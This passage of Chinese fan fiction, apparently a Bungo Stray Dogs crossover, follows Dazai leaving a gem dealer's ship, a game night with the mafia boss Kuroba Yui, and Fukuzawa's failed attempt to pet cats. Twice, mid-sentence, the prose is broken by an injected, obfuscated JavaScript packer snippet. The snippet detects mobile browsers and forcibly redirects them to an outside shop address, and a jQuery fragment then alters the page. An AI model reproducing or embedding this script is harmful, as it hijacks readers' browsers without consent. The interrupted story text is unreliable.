“承蒙您的厚爱,但很抱歉,我是个不适应海风和颠簸的普通人。太过开放式的环境,会让我对从高处拥抱深海产生无法抑制的向往之情呢。” 中年人向后仰了仰,重新回到了自己最舒服的坐姿上,手指在扶手上轻轻叩了两下: “太宰君,容我提醒你一句,这里是我的船,而这片海上除了这一处落脚之处外 ,可没有其他地方能让你安然落座。” 太宰治在他的目光中轻微地笑了笑。 宝石王心底突然闪过一丝阴霾。 像是证明那份不安一样,船突然停了。 不是那种自然的停驻,而是突兀地,像撞上了什么东西一样,硬生生扛住了物理的惯性,直直停了下来,恍惚间,似乎能听到这艘庞然大物发出了一声不堪重负的“吱呀”。 无视外面突然升起的嘈乱,宝石王的视线直直地落在了对面少年的身上,神情冷了下来: “这就是你的后手?” 太宰治还没有回答,,门就被猛地推开了。 一个下属几乎是连滚带爬地冲进来,脸上的表情介于恐惧和难以置信之间,声音因为紧张而微微发颤: “b、boss,船前面,站了一个人——!” 宝石王皱了皱眉。 一个人? “只有一个人?” “是,是的……那边全部被暗红色的光覆盖了,我们的人尝试射击,但子弹都停滞在空中。大概……” 下属偷偷看了看他老板的脸色,没看出什么,于是嗫嚅着继续报告, “……是异能力者。” 能让这艘巨轮直接停下来的异能者? 宝石王挥了挥手,让下属退下,再看向对面的太宰治时,眼中已经多了一份审慎。 “我独身一人前来是为了证明我的诚意,但有同伴接应,也是想向您证明未来会作为您盟友的实力。” 太宰治静静地站在那里,摊了摊手, “您觉得如何呢?关于这份赌约的奖品。” 宝石王望着他。沉默在两人之间蔓延,然后,他笑了。 “太宰君,这还真是一场会令我回味无穷的赌局。” 他的声音里带着一种发自内心甚至有些遗憾的欣赏, “做商人最重要的就是诚信,这赌局,我当然会正常履行。” 太宰治点头致意,转身朝门口走去。 “不过。” 身后传来的声音让他顿了顿。 “我这里会为你留一个位置的。在那种小地方,有些屈才了吧?不管是你,还是来接应你的同伴。” 太宰治没有回头: “可惜我们也没有些宏大的目标和愿景,那么,我先告辞了。” 中原中也站在虚空中等了很久。等的他都不自觉皱起了眉,想要直接冲上船,但又记得太宰和乱步之前的叮嘱,只好站在那里继续等待。 索性没让他等太久。 又过了十几分钟,一艘小艇被放了下来,从巨轮的侧面缓缓降入海面。熟悉的讨厌面庞就站在那上面,看上去连一点伤都没有受,连那副欠揍的表情都和离开时一模一样。 赭发少年的心彻底放了下来。但嘴上还是习惯地刺了他两句: “还真是大阵仗啊,要别人等你这么久。” 太宰治从小艇上跳下来: “因为这种事就跳脚的小蛞蝓难道是怕直接融到水里吗?也是呢,撒点盐就不见了的你,肯定是害怕了吧。” “喂,对来接你的救命恩人,好好说句感谢啊!” 中原中也额角蹦出个十字。 “是是,阿呆鸟先生,感谢您百忙之中过来一趟,以及能忍受这家伙的蛞噪。” 太宰治直接无视了中原中也,而是向坐在快艇驾驶位的男人点头。 “没什么,小中也人很有意思的,我也很愉快呢~” 看着两人都上了船,阿呆鸟握住方向盘,踩下油门—— “那就,出发了——!” 引擎发出一声巨大的轰鸣。 “喂,回去我们可没有什么时间要求,等……阿呆鸟,呕……” 回到港口,神清气爽的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17377602|196321||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 青年拔下汽艇的钥匙,在空中一抛一接,潇洒地朝他们挥了挥手: “我的活就到此为止了,两位,小中也——我们晚上见——” 他大步流星地朝岸上走去,独留两个脸色苍白的少年站在原地。 “青花鱼,你不是属水的吗?怎么,现在受不了了?” 中原中也在这段时间已经逐渐习惯了这人开车的狂野,作为武斗派的身体素质也比太宰治恢复的更快些,直接开了嘲讽。 “我只是在回顾先前的事,不像某个没头脑的小蛞蝓一样,天天嚷嚷叫叫。” 太宰治的脸色比平常还要苍白,声音也有些飘忽, “真厉害啊,阿呆鸟先生的技术,我刚刚感觉自己马上就要接触到另一个美丽的世界了……” 他们对视了一眼。 “我喊人过来接我们?” 中原中也试探性地问。 这句话说出来后,两人又同时沉默了。 太宰治的表情微妙地扭曲了一下。中原中也的表情也同样微妙。 “……今天天气不错,偶尔散散步,有助于身心健康。” “你嘴里真是难得蹦出能让人赞同的人话。” 两人并肩走在码头上,身后是漆黑的海面,前方是灯火通明的城市。 “事情办成了?” “嗯哼。” “……啧。” 黑羽结衣在做梦。 而且清楚地知道她在做梦。 先是一片星光,无数的光点在她周围明暗闪烁着。她只是浸润在里面,不解的四处张望。接着,那些星光汇聚起来,变成了杂乱无章的符号与字句。 黑羽结衣努力去辨认那些从星光中漏下的字符,那些无法理解的含义。最终,它们终于变成了自己能理解的形式。 她眨了眨眼,表情有些怪异。 它们变成了一个正在读条中的进度条。 就是那种进入游戏时读条的进度条。 并且就在缓缓推进了差不多八分之一左右后,它卡住了。 黑羽结衣换了个姿势,耐心地等待着。 进度条纹丝不动。 ……它好像彻底卡住了。 强迫症愤怒。 就当她伸手想要去试试能不能触碰到那个进度条的时候,像是被那份等待的焦急心情所感染,那片星空突然塌陷,她坠入一片空洞,随后猛地惊醒。 向下坠落的那份惊慌还未消散,心脏还在胸腔里狂跳,面前那张放大的面孔又让她猛地往后一缩,差点惊叫出声。 秋千因为少女的动作也剧烈地晃动起来,这让她本来就难看的脸色更加难看了。 直到秋千的晃动逐渐平息,黑羽结衣才按着额角,满脸无奈: “……太宰,你吓我一跳。” 太宰治若无其事地直起身收回手,仿佛刚刚偷偷戳了戳对方的不是自己一样: “小姐才是,这副样子很像是偷偷摸摸做了什么之后的心虚哦。” 还不等她反问,少年已经自然地继续开始沿着这个话题追问, “小姐刚刚是做了噩梦吗?你的表情不太好看呢。” 37.猫和游戏 “梦到想打的游戏一直在读条,气的我都要把手伸进屏幕,去拉那个进度条。” 黑羽结衣一本正经地回答, “结果被你吵醒了。” 难怪他隐隐约约感受到对方有股怒气,之前还以为是起床气来着…… 太宰治不动声色地向后挪了一步。 她抬起眼, “所以你呢?” “嗯?” 太宰治眨了眨眼,迅速调整回那副惯常的带着点漫不经心的表情, “很遗憾,我发现自己的生命可悲地顽强呢。这些天也是彻底——” “没事吧?” 他略显浮夸的话语被打断了。少年怔愣了片刻,对上她认真的面孔。 随后,他笑了起来: “没事呦~” “那我就安心了。” 黑羽结衣终于抵抗了温暖柔软坐垫的诱惑,站起身,拍了拍他的肩膀, “不想说也没事,辛苦了。” 她转身去将书放到自己的办公桌去了。太宰治盯着她的背影,有那么一瞬,他感觉自己真实地放松了下来。 “晚上一起打游戏?” 他听到对方递过来的邀约。 “好啊。” 他听到自己这么回答。 因为江户川乱步有些爱在常待的地方放零食的习惯,黑羽结衣也就很自然地摸出了那些零食,窸窸窣窣拆开一大包,分给了同样盘膝坐在她旁边的少年,声音含糊着按着手柄: “听说本来计划是只对GSS动手的,但后来又加上了高濑会?” “是啊,上次打掉了GSS的一个据点,他们自那之后就开始记恨上我们了。不过有高濑会虎视眈眈地盯着,他们也不敢和我们完全撕破脸皮。” 太宰治的视线落在屏幕上,手上的操作一刻不停, “只对付一个的话容易被另一个组织坐收渔翁之利,于是乱步君就打算两个一起解决了。” 如果让外界的其他人听到这么轻描淡写的定下两个近期也很有名的组织的结局,想必会觉得这是什么妄想吧。但黑羽结衣想了想,只是说道: “这样啊……别玩过火就行。” 太宰治瞥了她一眼: “你还真的信任我和乱步君呢。” “合适的事要交给合适的人去做,这是我做首领的最大秘诀。” 她回答的理所当然, “并且,实在出了什么事,最差的结果也不过是我带你们跑路规避风险……” “恭喜~ 小姐也学会粉饰自己的行为了呢,这才是你作为首领最大的秘诀吧。” “听起来不也是进步的一种吗。” 黑羽结衣心安理得地接受了这份不算夸奖的评价, “这么说起来,芥川君的身体已经好的差不多了……能派上用场吗?” “他和你说过要留下来吗?” “没有。但我和小银谈过了,比起之前擂钵街的生活她更喜欢现在。” “啊……芥川龙之介的妹妹。” 太宰治很快凭借名字对上了人, “那就没什么好担心的了。” “嗯,他们几天前就已经彻底从擂钵街里搬出来了,能有宽敞安全的住所和完全的温饱,他们又怎么愿意再回到过去呢?” 少女一招K.O将对面的小人打倒,屏幕上跳出大大的“WIN”字样。 “再说了,就算芥川君真的想再回去——以擂钵街的混乱程度,那里也早就被人占领了。” 太宰治平静地说: “二比一,我赢了。” “那是因为这不是我的舒适区——再换一个游戏!” 她一边翻找着碟片,一边迟疑着说, “小银之前和我提到过,不知道你清不清楚,擂钵街有一个未成年自卫团,是为了保护自己不受侵害而团结起来的组织,叫做‘羊’。” 太宰治平静地点评: “完全不知名的三流小组织,怎么了?” 她顿了顿,似乎在想要不要说出来,碟片卡在入口处塞了半天没有塞进去: “前些天我才知道,中岛君和芥川君同龄——并且只比你小三岁,但我第一次见他的时候以为还是个八九岁的小孩子呢。” 太宰治没有说话,安静地等着她的下一句。寂静的氛围充斥着这里,少女垂下眼: “……我只是有时候在想,如果有一天擂钵街能不再是,不对,横滨不再是这样就好了……” 她看向太宰治,笑的有些勉强, “很奇怪对吧?明明是极恶组织的首领,却滥好心地说些道貌岸然的话。” “为什么奇怪?” 黑羽结衣愣了一下。 “一点都不奇怪。” 他重复了一遍,然后伸出手,从她手里拿过碟片塞了进去,按下开始键, “不适应那个游戏,那就换一个——这是首领的特权。首领有权决定组织的未来,你又不是没做过类似的决定,再做一次也没什么。” 黑羽结衣反应了好一会,这才意识到他说的应该是之前的她宣布要成为港口mafia首领的事: “……即使是现在的我来看,过去的我也真是乱来啊。” 太宰治想要说些什么又止住了: “你又输了。” “那是我刚刚在分心——!” 黑羽结衣据理力争, “不对,你怎么这么熟练,是不是私下里偷偷练过!” “我为什么要偷偷练这种幼儿向的游戏?” “你说谁是幼儿!” 手柄的按键声又快了几分。 没有人知道明天会发生什么,没有人知道这座城市的伤口什么时候才能愈合,但…… 横滨重建计划倒是真的。 “高濑会手里掌握了大部分横滨的娱乐设施,GSS手上的武装以及掌握的航线也很重要。” 少年快准狠地切了大招,将屏幕中的对手击飞, “有了这些作为基础,小姐的计划也能有施行的空间。至于之前说打算彻底禁止的那部分板块,之后我有其他的安排。” “帮大忙了,太宰。” 黑羽结衣没有追问,反而又重复了一句, “帮大忙了。不过业务要铺展开,武斗派就有些稀缺了,兰堂哥不在,哪怕加上新来的芥川君,在经验方面也还是有所欠妥……” 太宰治又赢了一局。黑羽结衣扔下手柄,整个人往身后的靠垫上一倒,发出一声不甘心的哀嚎。 “你对中岛敦有什么安排吗?” 黑羽结衣闭上嘴,不甘心但还是依言被转移了话题: “谁知道呢,哪怕是供着也得留下来。不过那么强大的异能不去使用就有些太可惜了,之前本来是想交给你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17386293|196321||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的。毕竟你的口才……死的都能说成活的。” “我?带孩子?” “所以才是‘之前’。” “嗯哼。” “他不能控制自己的异能,暂时也没法派上用场吧。” 黑羽结衣坐直身体,将散落的头发拢到耳后, “我先拜托reborn先生盯着他,顺便让他去福泽先生的面前刷刷眼熟。” “可信吗?” “合适的事交给合适的人来做。” 少女又将刚刚的话重复了一遍,随后若有所思, “并且,意外的,我感觉……福泽先生说不定是个毛绒可爱控。” 太宰治在今晚头一次放下手柄,不可置信地看向她: “哈???” 黑羽结衣看了眼结算记录,也将手柄放下,一只手捂住嘴,向他这边侧身,声音压低: “是秘密哦,我和你说,我之前有看到他偷偷去摸猫,还带了猫粮。结果,那些猫都被他吓跑了,他脸黑的就更厉害了……” 福泽谕吉突然感觉鼻子有些痒。 凭借着武人强大的定力抑制住了那份冲动,他再次将目光投向不远处的白发男孩—— 以及他周围环绕着的一群猫。 中年人眼中微不可查地闪过一丝羡慕。 一丝微妙的直觉从后脑勺窜起微弱的电流,中岛敦抬起头,看到了站在不远处穿着和服的银发男人,有些意外: “福泽先生,您也出来喂猫吗?” 这个“也”字就很有灵性。 福泽谕吉看着那成群的猫围在那片区域,悠闲自在地梳理着自己的毛发,眯起眼睛打盹的样子,刚刚要离去的脚步再一次犹豫了。 万一呢? 谁又能拒绝毛茸茸的诱惑。 福泽谕吉矜持地咳嗽了一声,尝试用自己最缓和的语气打招呼: “它们好像都很喜欢你。” 尽管中岛敦看到的依然是一如既往的肃杀气势。 但少年这些天已经和对方熟悉了些,如今也就大着胆子鼓起勇气笑了起来: “我也不知道为什么,reborn先生和我说,可能说因为我的异能是老虎的原因,猫咪才会这么喜欢我。” “这样吗……” 一问一答中,福泽谕吉已经靠近了。一步,又一步。 比之前任何一次离的都要近。 福泽谕吉表情不动声色,但气势已经越发的可怖。 猫:炸毛哈气逃跑一气呵成。 七八只猫在他靠近的那一刻瞬间四散奔逃,眨眼间就不见了踪影。 只留下中岛敦一个人蹲在原地,手里还保持着刚才摸猫的姿势,和福泽谕吉大眼瞪小眼。 中岛敦看着他越发漆黑的脸,无助地环顾了一圈,希望能找到哪怕一只愿意赏脸的小猫。 ……失败。 “那个……” 他张了张嘴,想说点什么来缓解这尴尬的气氛。但福泽谕吉的表情实在太可怕了,可怕到他觉得下一秒对方就要拔刀砍人。 福泽谕吉抿了抿嘴,气势更加冷冽了,他强硬地扭转了话题: “没什么,我也不是为这件事来的。黑羽首领说找你和我有事,关于几天后与政府的会面……” 在逃跑掉的那群猫里面,一只有着三花颜色的猫抖了抖耳朵,突然停下了离开的步伐。